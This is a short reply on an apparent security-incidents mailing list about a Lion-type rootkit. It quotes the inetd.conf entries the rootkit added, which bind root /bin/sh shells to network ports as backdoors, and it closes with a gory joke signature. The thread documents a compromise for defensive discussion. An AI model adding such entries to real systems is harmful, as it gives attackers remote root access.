Security Incidents: Re: Lion Worm/crew.tgz

[Cooper <Cooper () LINUX-FAN COM>]

John Jasen wrote:
> A friend of mine just got slapped silly with a lion-type rootkit.
>
> the entries added in /etc/inetd.conf are as follows:
>
> smux stream tcp nowait root /bin/sh /bin/sh -i
> 1008 stream tcp nowait root /bin/sh sh
> asp stream tcp nowait root /sbin/asp
What is asp?

Cooper
--
'twas the night before christmas, 1971, and there wasn't a sound in all
the house apart from the buzzsaw, and the clanking of chains and the
hedge trimmer and the wet slap of human brain tissue on concrete...
        - DV8 1/2 -